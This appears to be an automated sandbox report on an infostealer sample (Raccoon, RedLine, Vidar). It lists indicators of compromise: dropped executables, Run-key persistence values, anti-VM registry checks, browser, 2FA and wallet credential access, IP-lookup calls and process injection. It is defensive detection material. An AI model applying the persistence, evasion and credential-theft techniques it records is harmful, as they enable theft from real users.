raccoon | fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f

Change Default File Association

T1042

Processes:

OneDriveSetup.exeBLeAlKR616qLUFLzGxcyzC8S.exe

description	ioc	process
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx	BLeAlKR616qLUFLzGxcyzC8S.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx\ = "{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}"	BLeAlKR616qLUFLzGxcyzC8S.exe

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

rundll32.exerUNdlL32.eXe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7668	2244	rundll32.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8912	2244	rUNdlL32.eXe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	32392	2244

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 19 IoCs

Processes:

resource	yara_rule
behavioral3/memory/4764-254-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral3/memory/2108-277-0x0000000004790000-0x00000000047AD000-memory.dmp	family_redline
behavioral3/memory/2108-303-0x0000000004A70000-0x0000000004A8C000-memory.dmp	family_redline
behavioral3/memory/5192-325-0x000000000041C5BE-mapping.dmp	family_redline
behavioral3/memory/2264-295-0x00000000052A0000-0x00000000058A6000-memory.dmp	family_redline
behavioral3/memory/3716-263-0x000000000041C5BA-mapping.dmp	family_redline
behavioral3/memory/5216-327-0x000000000041C5C2-mapping.dmp	family_redline
behavioral3/memory/3716-260-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral3/memory/4764-259-0x000000000041C5C2-mapping.dmp	family_redline
behavioral3/memory/2264-258-0x000000000041C5BE-mapping.dmp	family_redline
behavioral3/memory/2264-255-0x0000000000400000-0x000000000044A000-memory.dmp	family_redline
behavioral3/memory/5564-363-0x000000000041C5C2-mapping.dmp	family_redline
behavioral3/memory/5580-364-0x000000000041C5BA-mapping.dmp	family_redline
behavioral3/memory/5128-444-0x000000000041C5BE-mapping.dmp	family_redline
behavioral3/memory/5936-417-0x000000000041C5C2-mapping.dmp	family_redline
behavioral3/memory/5984-419-0x000000000041C5BA-mapping.dmp	family_redline
behavioral3/memory/5668-378-0x000000000041C5BE-mapping.dmp	family_redline
behavioral3/memory/5728-468-0x000000000041C5C2-mapping.dmp	family_redline
behavioral3/memory/6128-493-0x000000000041C5BA-mapping.dmp	family_redline

Registers COM server for autorun 1 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Suspicious use of NtCreateProcessExOtherParentProcess 4 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exe

description	pid	process	target process
PID 5596 created 4412	5596	WerFault.exe	d2bjBuk5vNIK6heLnXCL1Exu.exe
PID 5752 created 4116	5752	WerFault.exe	DneUek6APtftP4C2nqoOEWdR.exe
PID 8552 created 3036	8552	WerFault.exe	tqdcGmB_fpbbxO0MwBJFw8E1.exe
PID 26724 created 18388	26724	WerFault.exe	RcdQ5yYRxK0NDU2xuKDVFS7p.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

svchost.exe

description pid process target process

PID 2536 created 1424 2536 svchost.exe OneDriveSetup.exe
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

description	pid	process	target process
PID 2536 created 1424	2536	svchost.exe	OneDriveSetup.exe

Vidar Stealer 2 IoCs

stealer

Processes:

resource	yara_rule
behavioral3/memory/4436-317-0x0000000002EC0000-0x0000000002F93000-memory.dmp	family_vidar
behavioral3/memory/4436-305-0x0000000000400000-0x0000000002BB2000-memory.dmp	family_vidar

Downloads MZ/PE file

Executes dropped EXE 64 IoCs

Processes:

OneDriveSetup.exeOneDriveSetup.exeFileSyncConfig.exeWYeouKlZt4FYfae0LTybVkKh.exeECOLkWzIR00wBNydnGPZctqZ.exe2g7dhuxXu1GYg4s9BFXNSamU.exeXjENiEUI2XjD4A7fWT8Vf8Av.exeDneUek6APtftP4C2nqoOEWdR.exeDByk7yL1K2ya79k5KoW5d5_a.exewwtK2ldVqTsLKqWSGKnLs_0s.exenFmLDYVtUhk5OSxVljav668D.exetqdcGmB_fpbbxO0MwBJFw8E1.exe1MZWnoWx3JS8tojs1fEEWoJX.exed2bjBuk5vNIK6heLnXCL1Exu.exevQziuBIF_NQ0wrSUC0yjvMn2.exeiFyXDtCgqpbXTqsUZG6822cy.exe3_5WR4gNXqezOL5zBS5VtCo1.exeZjthTY5DcIsQrDMoxYAmO6HV.exedpv0HABGt0NPuNaPflNPt3jl.exeBLeAlKR616qLUFLzGxcyzC8S.exegQAj91Ns6CDH5Bwr_zpXD9of.exezveqJik4HncDR0deDGLdZBOn.exewOhyu7uyfhOoSFat6vqacOMi.exeQpflhReHEbaJxS3maD5rm7rR.exePBrowFile15.exeinst001.exedk0ivmPfP7wWPHyhH0zbJ4dP.executm3.exemd8_8eus.exeafqTools.exedk0ivmPfP7wWPHyhH0zbJ4dP.tmp1MZWnoWx3JS8tojs1fEEWoJX.exe3_5WR4gNXqezOL5zBS5VtCo1.exeBLeAlKR616qLUFLzGxcyzC8S.exedJXLCGaWpZvUE6k1lOs2hqfb.exe1MZWnoWx3JS8tojs1fEEWoJX.exe1MZWnoWx3JS8tojs1fEEWoJX.exe3_5WR4gNXqezOL5zBS5VtCo1.exeBLeAlKR616qLUFLzGxcyzC8S.exeX4d4XArNWDu.eXE3_5WR4gNXqezOL5zBS5VtCo1.exeBLeAlKR616qLUFLzGxcyzC8S.exe1MZWnoWx3JS8tojs1fEEWoJX.exe5880421.exeJ77cmUgJX0OQi4nZtiqUPG2L.exe5522868.exe1649439.exe3_5WR4gNXqezOL5zBS5VtCo1.exeBLeAlKR616qLUFLzGxcyzC8S.exe6195347.exe1MZWnoWx3JS8tojs1fEEWoJX.exeBLeAlKR616qLUFLzGxcyzC8S.exe3_5WR4gNXqezOL5zBS5VtCo1.exe1MZWnoWx3JS8tojs1fEEWoJX.exe6286259440.exeBLeAlKR616qLUFLzGxcyzC8S.exe3_5WR4gNXqezOL5zBS5VtCo1.exe1MZWnoWx3JS8tojs1fEEWoJX.exeWinHoster.exeBLeAlKR616qLUFLzGxcyzC8S.exe3_5WR4gNXqezOL5zBS5VtCo1.exe1MZWnoWx3JS8tojs1fEEWoJX.exeBLeAlKR616qLUFLzGxcyzC8S.exe3_5WR4gNXqezOL5zBS5VtCo1.exe

pid	process
1424	OneDriveSetup.exe
2700	OneDriveSetup.exe
5076	FileSyncConfig.exe
3868	WYeouKlZt4FYfae0LTybVkKh.exe
4180	ECOLkWzIR00wBNydnGPZctqZ.exe
4408	2g7dhuxXu1GYg4s9BFXNSamU.exe
2184	XjENiEUI2XjD4A7fWT8Vf8Av.exe
4116	DneUek6APtftP4C2nqoOEWdR.exe
2108	DByk7yL1K2ya79k5KoW5d5_a.exe
4636	wwtK2ldVqTsLKqWSGKnLs_0s.exe
4100	nFmLDYVtUhk5OSxVljav668D.exe
3036	tqdcGmB_fpbbxO0MwBJFw8E1.exe
2248	1MZWnoWx3JS8tojs1fEEWoJX.exe
4412	d2bjBuk5vNIK6heLnXCL1Exu.exe
780	vQziuBIF_NQ0wrSUC0yjvMn2.exe
4148	iFyXDtCgqpbXTqsUZG6822cy.exe
3176	3_5WR4gNXqezOL5zBS5VtCo1.exe
4648	ZjthTY5DcIsQrDMoxYAmO6HV.exe
4436	dpv0HABGt0NPuNaPflNPt3jl.exe
2876	BLeAlKR616qLUFLzGxcyzC8S.exe
588	gQAj91Ns6CDH5Bwr_zpXD9of.exe
5084	zveqJik4HncDR0deDGLdZBOn.exe
4320	wOhyu7uyfhOoSFat6vqacOMi.exe
2116	QpflhReHEbaJxS3maD5rm7rR.exe
3388	PBrowFile15.exe
4572	inst001.exe
1592	dk0ivmPfP7wWPHyhH0zbJ4dP.exe
844	cutm3.exe
500	md8_8eus.exe
4496	afqTools.exe
4216	dk0ivmPfP7wWPHyhH0zbJ4dP.tmp
2264	1MZWnoWx3JS8tojs1fEEWoJX.exe
4764	3_5WR4gNXqezOL5zBS5VtCo1.exe
3716	BLeAlKR616qLUFLzGxcyzC8S.exe
1116	dJXLCGaWpZvUE6k1lOs2hqfb.exe
2136	1MZWnoWx3JS8tojs1fEEWoJX.exe
5192	1MZWnoWx3JS8tojs1fEEWoJX.exe
5216	3_5WR4gNXqezOL5zBS5VtCo1.exe
5304	BLeAlKR616qLUFLzGxcyzC8S.exe
5748	X4d4XArNWDu.eXE
5564	3_5WR4gNXqezOL5zBS5VtCo1.exe
5580	BLeAlKR616qLUFLzGxcyzC8S.exe
5668	1MZWnoWx3JS8tojs1fEEWoJX.exe
6140	5880421.exe
1524	J77cmUgJX0OQi4nZtiqUPG2L.exe
5412	5522868.exe
5624	1649439.exe
5936	3_5WR4gNXqezOL5zBS5VtCo1.exe
5984	BLeAlKR616qLUFLzGxcyzC8S.exe
5252	6195347.exe
5128	1MZWnoWx3JS8tojs1fEEWoJX.exe
5756	BLeAlKR616qLUFLzGxcyzC8S.exe
5728	3_5WR4gNXqezOL5zBS5VtCo1.exe
4756	1MZWnoWx3JS8tojs1fEEWoJX.exe
932	6286259440.exe
6128	BLeAlKR616qLUFLzGxcyzC8S.exe
3268	3_5WR4gNXqezOL5zBS5VtCo1.exe
5604	1MZWnoWx3JS8tojs1fEEWoJX.exe
6436	WinHoster.exe
5172	BLeAlKR616qLUFLzGxcyzC8S.exe
5588	3_5WR4gNXqezOL5zBS5VtCo1.exe
6360	1MZWnoWx3JS8tojs1fEEWoJX.exe
6508	BLeAlKR616qLUFLzGxcyzC8S.exe
6528	3_5WR4gNXqezOL5zBS5VtCo1.exe

Checks BIOS information in registry 2 TTPs 10 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

qSoveykzc3LEEQJm7WVpxblU.exeBl4pHvNJhSK_uZj6M3xsxDPU.exegQAj91Ns6CDH5Bwr_zpXD9of.exeiFyXDtCgqpbXTqsUZG6822cy.exeZU3MhwtpnVXVKlAzRxd2j_dn.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	qSoveykzc3LEEQJm7WVpxblU.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Bl4pHvNJhSK_uZj6M3xsxDPU.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Bl4pHvNJhSK_uZj6M3xsxDPU.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	gQAj91Ns6CDH5Bwr_zpXD9of.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	iFyXDtCgqpbXTqsUZG6822cy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ZU3MhwtpnVXVKlAzRxd2j_dn.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	qSoveykzc3LEEQJm7WVpxblU.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	gQAj91Ns6CDH5Bwr_zpXD9of.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	iFyXDtCgqpbXTqsUZG6822cy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ZU3MhwtpnVXVKlAzRxd2j_dn.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Setup.exeJ77cmUgJX0OQi4nZtiqUPG2L.exeU5I9mFOPf45NpTuQ1h7RX43G.exeSetup.exeJ77cmUgJX0OQi4nZtiqUPG2L.exeSetup.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\International\Geo\Nation	Setup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\International\Geo\Nation	J77cmUgJX0OQi4nZtiqUPG2L.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\International\Geo\Nation	U5I9mFOPf45NpTuQ1h7RX43G.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\International\Geo\Nation	Setup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\International\Geo\Nation	J77cmUgJX0OQi4nZtiqUPG2L.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\International\Geo\Nation	Setup.exe

Drops startup file 1 IoCs

Processes:

Tra.exe.com

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\UfxEdGKbvQ.url Tra.exe.com

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\UfxEdGKbvQ.url	Tra.exe.com

Loads dropped DLL 28 IoCs

Processes:

FileSyncConfig.exedk0ivmPfP7wWPHyhH0zbJ4dP.tmpregsvr32.exerundll32.exedpv0HABGt0NPuNaPflNPt3jl.exetqdcGmB_fpbbxO0MwBJFw8E1.exeConhost.exe7198790465.exeregsvr32.exeCQzDZ1T2B_hjOeZr4knlduge.tmp6CU_FkYlVESaKnEOzQVdJpGQ.exerundll32.exe

pid	process
5076	FileSyncConfig.exe
5076	FileSyncConfig.exe
5076	FileSyncConfig.exe
5076	FileSyncConfig.exe
5076	FileSyncConfig.exe
5076	FileSyncConfig.exe
5076	FileSyncConfig.exe
5076	FileSyncConfig.exe
4216	dk0ivmPfP7wWPHyhH0zbJ4dP.tmp
4216	dk0ivmPfP7wWPHyhH0zbJ4dP.tmp
6016	regsvr32.exe
6016	regsvr32.exe
5576	rundll32.exe
4436	dpv0HABGt0NPuNaPflNPt3jl.exe
4436	dpv0HABGt0NPuNaPflNPt3jl.exe
3036	tqdcGmB_fpbbxO0MwBJFw8E1.exe
4056	Conhost.exe
4056	Conhost.exe
8500	7198790465.exe
8500	7198790465.exe
6540	regsvr32.exe
6540	regsvr32.exe
13804	CQzDZ1T2B_hjOeZr4knlduge.tmp
13804	CQzDZ1T2B_hjOeZr4knlduge.tmp
16620	6CU_FkYlVESaKnEOzQVdJpGQ.exe
16620	6CU_FkYlVESaKnEOzQVdJpGQ.exe
18984	rundll32.exe
32432

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 5 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\Documents\gQAj91Ns6CDH5Bwr_zpXD9of.exe	themida
C:\Users\Admin\Documents\iFyXDtCgqpbXTqsUZG6822cy.exe	themida
C:\Users\Admin\Documents\iFyXDtCgqpbXTqsUZG6822cy.exe	themida
C:\Users\Admin\Documents\gQAj91Ns6CDH5Bwr_zpXD9of.exe	themida
behavioral3/memory/588-242-0x0000000000BF0000-0x0000000000BF1000-memory.dmp	themida

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

BLeAlKR616qLUFLzGxcyzC8S.exe5522868.exetmpB5C_tmp.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	BLeAlKR616qLUFLzGxcyzC8S.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\OneDriveSetup.exe\""	BLeAlKR616qLUFLzGxcyzC8S.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Standalone Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdater\\OneDriveSetup.exe\""	BLeAlKR616qLUFLzGxcyzC8S.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	5522868.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	tmpB5C_tmp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	tmpB5C_tmp.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 10 IoCs

evasion trojan

System Information Discovery

Processes:

iFyXDtCgqpbXTqsUZG6822cy.exe3_5WR4gNXqezOL5zBS5VtCo1.exeZU3MhwtpnVXVKlAzRxd2j_dn.exeqSoveykzc3LEEQJm7WVpxblU.exeBl4pHvNJhSK_uZj6M3xsxDPU.exemd8_8eus.exeBLeAlKR616qLUFLzGxcyzC8S.exeU5I9mFOPf45NpTuQ1h7RX43G.exeBLeAlKR616qLUFLzGxcyzC8S.exegQAj91Ns6CDH5Bwr_zpXD9of.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	iFyXDtCgqpbXTqsUZG6822cy.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3_5WR4gNXqezOL5zBS5VtCo1.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ZU3MhwtpnVXVKlAzRxd2j_dn.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	qSoveykzc3LEEQJm7WVpxblU.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Bl4pHvNJhSK_uZj6M3xsxDPU.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	md8_8eus.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	BLeAlKR616qLUFLzGxcyzC8S.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	U5I9mFOPf45NpTuQ1h7RX43G.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	BLeAlKR616qLUFLzGxcyzC8S.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	gQAj91Ns6CDH5Bwr_zpXD9of.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 23 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
142	ipinfo.io
360	ipinfo.io
1760	ipinfo.io
2340	ipinfo.io
48	ipinfo.io
152	ip-api.com
221	freegeoip.app
223	freegeoip.app
361	ipinfo.io
2341	ipinfo.io
231	freegeoip.app
473	ipinfo.io
476	ipinfo.io
1143	ipinfo.io
1147	ipinfo.io
2085	ipinfo.io
49	ipinfo.io
143	ipinfo.io
183	ipinfo.io
189	ipinfo.io
219	freegeoip.app
1755	ipinfo.io
2014	ipinfo.io

Drops file in System32 directory 8 IoCs

Processes:

chrome.exesvchost.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\services32.exe	chrome.exe
File opened for modification	C:\Windows\System32\Tasks\services32	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\644B8874112055B5E195ECB0E8F243A4	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\644B8874112055B5E195ECB0E8F243A4	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\PowerControl HR	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\PowerControl LG	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	svchost.exe
File created	C:\Windows\system32\services32.exe	chrome.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

Processes:

gQAj91Ns6CDH5Bwr_zpXD9of.exeiFyXDtCgqpbXTqsUZG6822cy.exeZU3MhwtpnVXVKlAzRxd2j_dn.exeqSoveykzc3LEEQJm7WVpxblU.exeBl4pHvNJhSK_uZj6M3xsxDPU.exe

pid	process
588	gQAj91Ns6CDH5Bwr_zpXD9of.exe
4148	iFyXDtCgqpbXTqsUZG6822cy.exe
16988	ZU3MhwtpnVXVKlAzRxd2j_dn.exe
14068	qSoveykzc3LEEQJm7WVpxblU.exe
11596	Bl4pHvNJhSK_uZj6M3xsxDPU.exe

Suspicious use of SetThreadContext 64 IoCs

Processes:

3_5WR4gNXqezOL5zBS5VtCo1.exe1MZWnoWx3JS8tojs1fEEWoJX.exeBLeAlKR616qLUFLzGxcyzC8S.exesvchost.exe

description	pid	process	target process
PID 3176 set thread context of 4764	3176	3_5WR4gNXqezOL5zBS5VtCo1.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 2248 set thread context of 2264	2248	1MZWnoWx3JS8tojs1fEEWoJX.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
PID 2876 set thread context of 3716	2876	BLeAlKR616qLUFLzGxcyzC8S.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
PID 2248 set thread context of 5192	2248	1MZWnoWx3JS8tojs1fEEWoJX.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
PID 3176 set thread context of 5216	3176	3_5WR4gNXqezOL5zBS5VtCo1.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 3176 set thread context of 5564	3176	3_5WR4gNXqezOL5zBS5VtCo1.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 2876 set thread context of 5580	2876	BLeAlKR616qLUFLzGxcyzC8S.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
PID 2248 set thread context of 5668	2248	1MZWnoWx3JS8tojs1fEEWoJX.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
PID 3176 set thread context of 5936	3176	3_5WR4gNXqezOL5zBS5VtCo1.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 2876 set thread context of 5984	2876	BLeAlKR616qLUFLzGxcyzC8S.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
PID 2248 set thread context of 5128	2248	1MZWnoWx3JS8tojs1fEEWoJX.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
PID 3176 set thread context of 5728	3176	3_5WR4gNXqezOL5zBS5VtCo1.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 2876 set thread context of 6128	2876	BLeAlKR616qLUFLzGxcyzC8S.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
PID 3176 set thread context of 3268	3176	3_5WR4gNXqezOL5zBS5VtCo1.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 2876 set thread context of 5172	2876	BLeAlKR616qLUFLzGxcyzC8S.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
PID 3176 set thread context of 5588	3176	3_5WR4gNXqezOL5zBS5VtCo1.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 2248 set thread context of 6360	2248	1MZWnoWx3JS8tojs1fEEWoJX.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
PID 2876 set thread context of 6508	2876	BLeAlKR616qLUFLzGxcyzC8S.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
PID 3176 set thread context of 6528	3176	3_5WR4gNXqezOL5zBS5VtCo1.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 2248 set thread context of 6740	2248	1MZWnoWx3JS8tojs1fEEWoJX.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
PID 2876 set thread context of 6876	2876	BLeAlKR616qLUFLzGxcyzC8S.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
PID 3176 set thread context of 6932	3176	3_5WR4gNXqezOL5zBS5VtCo1.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 2248 set thread context of 7076	2248	1MZWnoWx3JS8tojs1fEEWoJX.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
PID 2876 set thread context of 3628	2876	BLeAlKR616qLUFLzGxcyzC8S.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
PID 2248 set thread context of 5844	2248	1MZWnoWx3JS8tojs1fEEWoJX.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
PID 3176 set thread context of 6680	3176	3_5WR4gNXqezOL5zBS5VtCo1.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 2876 set thread context of 6792	2876	BLeAlKR616qLUFLzGxcyzC8S.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
PID 2248 set thread context of 6196	2248	1MZWnoWx3JS8tojs1fEEWoJX.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
PID 3176 set thread context of 1228	3176	3_5WR4gNXqezOL5zBS5VtCo1.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 2876 set thread context of 5888	2876	BLeAlKR616qLUFLzGxcyzC8S.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
PID 2248 set thread context of 7028	2248	1MZWnoWx3JS8tojs1fEEWoJX.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
PID 3176 set thread context of 6188	3176	3_5WR4gNXqezOL5zBS5VtCo1.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 2876 set thread context of 5792	2876	BLeAlKR616qLUFLzGxcyzC8S.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
PID 2876 set thread context of 2880	2876	BLeAlKR616qLUFLzGxcyzC8S.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
PID 2248 set thread context of 2608	2248	1MZWnoWx3JS8tojs1fEEWoJX.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
PID 3176 set thread context of 1384	3176	3_5WR4gNXqezOL5zBS5VtCo1.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 2248 set thread context of 4428	2248	1MZWnoWx3JS8tojs1fEEWoJX.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
PID 2876 set thread context of 652	2876	BLeAlKR616qLUFLzGxcyzC8S.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
PID 3176 set thread context of 1748	3176	3_5WR4gNXqezOL5zBS5VtCo1.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 2876 set thread context of 4552	2876	BLeAlKR616qLUFLzGxcyzC8S.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
PID 3176 set thread context of 4468	3176	3_5WR4gNXqezOL5zBS5VtCo1.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 2248 set thread context of 5732	2248	1MZWnoWx3JS8tojs1fEEWoJX.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
PID 2248 set thread context of 7476	2248	1MZWnoWx3JS8tojs1fEEWoJX.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
PID 2876 set thread context of 7676	2876	BLeAlKR616qLUFLzGxcyzC8S.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
PID 3176 set thread context of 7688	3176	3_5WR4gNXqezOL5zBS5VtCo1.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 2248 set thread context of 7804	2248	1MZWnoWx3JS8tojs1fEEWoJX.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
PID 2876 set thread context of 8168	2876	BLeAlKR616qLUFLzGxcyzC8S.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
